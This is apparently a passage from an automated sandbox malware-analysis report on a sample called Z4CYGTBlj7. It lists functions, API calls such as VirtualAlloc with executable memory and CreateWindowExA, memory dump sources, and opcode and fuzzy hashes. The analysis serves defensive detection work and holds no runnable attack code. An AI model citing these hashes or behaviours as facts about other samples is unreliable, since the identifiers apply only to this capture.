Instruction ID: 501a6edcc86a46bda8c2d9888072ec0d2e74cb424ca22ccce89e5ed2517fb8e6
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 97F0C2312107106BDF207FB9AC8DAABBAE8AF4A765F10052AE642911C0DA70FC455670

Uniqueness

Uniqueness Score: -1.00%

Function 05DD0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05DD0533

Strings

saodkfnosa9uin, xrefs: 05DD04DA
0, xrefs: 05DD0492
mfoaskdfnoa, xrefs: 05DD0520, 05DD0523
d, xrefs: 05DD0584

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: e685e120e65cb4f836bc9a60c006d1e34072bcfffe8d5d8c16f1f15b559413e6
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 01512870D08388DAEB11CBA8C849BEDBFB2AF51708F144059D5446F2C6D3BA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05DD05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05DD05EC

Strings

o, xrefs: 05DD0600
apfHQ, xrefs: 05DD05E2, 05DD05E5

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 97021847b372dd07ac09906e172f9a1d69b2c5d1071a23119fbdf493512fd7f9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 04011E70C0424CEBDB10DBA8C5187AEFFB5AF41308F148099C4492B241E7769B58CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04498485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044984D6

Memory Dump Source

Source File: 00000000.00000002.2003325383.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Offset: 04498000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4498000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 47d0b9dd1f2be3adb608296f27b2d3d21538e8543c5aec6be6ab34ff1ab6adab
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 33112B79A00208EFDB01DF99C985E99BFF5AF08350F058095F9489B362D371EA90EB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05DEF030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05DEF0A7
_wcsstr.LIBCMT ref: 05DEF14E
_strstr.LIBCMT ref: 05DEF3D6
_malloc.LIBCMT ref: 05DEF526
_memset.LIBCMT ref: 05DEF534
_strstr.LIBCMT ref: 05DEF57A
_malloc.LIBCMT ref: 05DEF6F5
_memset.LIBCMT ref: 05DEF703
_free.LIBCMT ref: 05DEF7B5
_free.LIBCMT ref: 05DEF7C2

Strings

", xrefs: 05DEF640

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: a14fc26554a8ebd715a4244b11b1e3973ad1bccdfc27ef0da36a90e89e3d7adc
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: DE42D371508381ABDB21EF64CC48F9B7BE8BF85304F04092EF58997291DB75D649CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DE00D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 6ebc85a23b75415406ebf85011e4528dc93da42cb9408235a0aac3b160c788fa
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 44525E71D04208DBDF11EFA8DC89BAEB7F5FF04304F14816AD419A7290E775AA49CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DDE6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05DDE72D
_wcsstr.LIBCMT ref: 05DDE756
_memset.LIBCMT ref: 05DDE784

Part of subcall function 05E1FC0C: std::exception::exception.LIBCMT ref: 05E1FC1F
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FC34
Part of subcall function 05E1FC0C: std::exception::exception.LIBCMT ref: 05E1FC4D
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FC62
Part of subcall function 05E1FC0C: std::regex_error::regex_error.LIBCPMT ref: 05E1FC74
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FC82
Part of subcall function 05E1FC0C: std::exception::exception.LIBCMT ref: 05E1FC9B
Part of subcall function 05E1FC0C: __CxxThrowException@8.LIBCMT ref: 05E1FCB0

_wcsstr.LIBCMT ref: 05DDEA0C
_memset.LIBCMT ref: 05DDEE5C

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 4ccbc6606aa6bc6e584e62b4505ce33e1b3019a133424d8788f7ef4f88a667fb
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: AD52AE71A002199FDF24DF68CC94BAEFBF9FF44304F14456AD84AAB281D731A945CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05DE0B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: a68c625a66429ff84a14ed151a3fd9b9ab3c5615e556cdc6f4dfcdcb2a4074ff
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 8E425D71E04208EBDB15EFA4CC49BEEB7F5FF04308F24416AD416A7290E771AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05DDDBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 1532e2b41689e666ba52d33e3571fb28825815b857ece7365e2d2d61e8535eb3
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: C5527170E00249DFDB11DBA4C848FAEFBB9FF49704F148199E549AB290DB74AD45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00409018 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,004090AA,?,00000001,?,004091C1,P*K,00000017), ref: 0040901D
UnhandledExceptionFilter.KERNEL32(?,?,004090AA,?,00000001,?,004091C1,P*K,00000017), ref: 00409026

Memory Dump Source

Source File: 00000000.00000002.2001003865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2000989094.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001023248.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001042095.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001062274.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001062274.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001133733.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001133733.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2003139053.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Z4CYGTBlj7.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 28beeca3d6f3d7e4d14661f1268a62793a73c245c08e492e04ea9542e01566da
Instruction ID: 813572f2ecf1461c1951aa0d3f60b9d03d1e46d2a341b29204beb9faec26f5b3
Opcode Fuzzy Hash: 28beeca3d6f3d7e4d14661f1268a62793a73c245c08e492e04ea9542e01566da
Instruction Fuzzy Hash: 1EB09231084208BBCB002B91EC09BC8BF69EB0C692F108020F74D44470CB62A4108A99

Uniqueness

Uniqueness Score: -1.00%

Function 05E522C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05E5291E

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 38642c7c2bb5ddaa533ff7ffbdbb9260b449aadc2da39dad106789a5a783a176
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 053283B4E002299BEF619F64CC44BAEB779FF44714F0051EAEB4DA2191DB748A80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408558 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00403FC2,00418950,00000014), ref: 00408558

Memory Dump Source

Source File: 00000000.00000002.2001003865.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2000989094.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001023248.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001042095.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001062274.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001062274.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001133733.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2001133733.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2003139053.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Z4CYGTBlj7.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: a7dde57a9c4263d46bc481a323c3c6278b9f7eee9c3cc5ad83ca61ba97988fe4
Instruction ID: b0ed357c82f5a38d36dc48cac36b0f3bf098e8001365a08745eebe218e151160
Opcode Fuzzy Hash: a7dde57a9c4263d46bc481a323c3c6278b9f7eee9c3cc5ad83ca61ba97988fe4
Instruction Fuzzy Hash: F4B012B07011024747080B397C1814A36D4A70C242304C13E7503C1170DF24C4109F08

Uniqueness

Uniqueness Score: -1.00%

Function 05DD5DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 37abfd36cf8cd6f5e401de5ba81119ebe432c457c518ac10668d34a32f99050e
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 0742B071629F159BC3DAEF24C88055BF3E1FFC8218F048A1DD99997A50DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 67fc871f7726498ae70fab8955665225d6a6fbcd02bffd48c826b0c01673f343
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 0922DF76908B129FC714CF19D08095AF7E1FF88324F558A6EE8A9A7B10C730BA55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05DD2B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05DD3520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: a4af6ff118187997f4259237f234cb687f3f42e1a9a6df242d56bdaaa576a1e2
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: F8024C715187058FC756EF0CD49035AF3E1FFC8305F198A2DD68987A64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 05DD89D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 2bb89213d009dfa1e784231829cf903763ce2da1c49396aadf6fc256f52eca8d
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 52C12833E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05DDB0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: 0ff908bc8df79a85eb4b7f5e9b1e4e291c51afcf6a8ce99a75e8a90c30ef37f7
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: EFA1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05DD30F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05DDCA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: ff11d47c215cf5ce38ca31ccc2ee3a5af86bed5d40a3a231cdd511769fb0b700
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 59C18DB5E003599FCB54CFA9C885AEEFBF1FF48200F24856AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05DD5DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 91e7e9e4677b5d8e45ddebf19e47b8dee26372f04f09666baff2cde3f4abfc84
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: F8B183B0039FA686CBD3FF30911024BF7E0BFC525DF44194AD99986864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 57f196c05cae5ed2f05a1380c0e5b87930e83f74f9f0793881f597dd9e520d03
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: FA912573D187BA06D7609EAF8C441B9B7E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 05DDC760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: b6c4c8543c6b83e23b26d6d775169b2cb838d3a03aeebe8caab8a0b854f79901
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 85B16AB5E002599FCB84CFE9C985ADEFBF0FF48210F64816AD915E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: da5101756d2d4a8c482913e19da46b55f8b55395718c69e9073e5bc0760d2360
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 9A71D473A20B258B8314DEB98D94192F2F1EF84610B57C27DCE85D7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD59F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 1f7cc5b6fc79ded5983188fc1ecbbb0139808f34b5c5af612268af725f254638
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 188139B2A047019FC328CF19D88566AF7E1FFD8210F15892DE99E83741D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05DD8E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: e1ba46c44bf60c03d5ea5d93caa6bb49d1b59791ef778fa2949889adb83eb94f
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 96710622535B7A0AEBC3DA3D881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 05DDA699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 852a0ece14f3bd30327213e73b4d9100f1be7e0fc53bd6295050627b1640c110
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: CD812776A10B669BD754CF2ED8C046AFBF1FB08210B518A2ADCA583B41D334F565CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05DD9120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 58708a4e77d084a74b2639f795b31ed05248847065df4d67eb6902820e9edec7
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 7A61A3339046BB5BDB649E6DD8401A9F7A2BFC4310F5B8A76DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5dd0000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 255717732b50be066553d8875c9cce05e79aadd859804988ff0927700f74f213
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: 69617C3791262B9BD761DF59D84537AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 05DD7880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05DD0000, based on PE: false

Joe Sandbox IDA Plugin

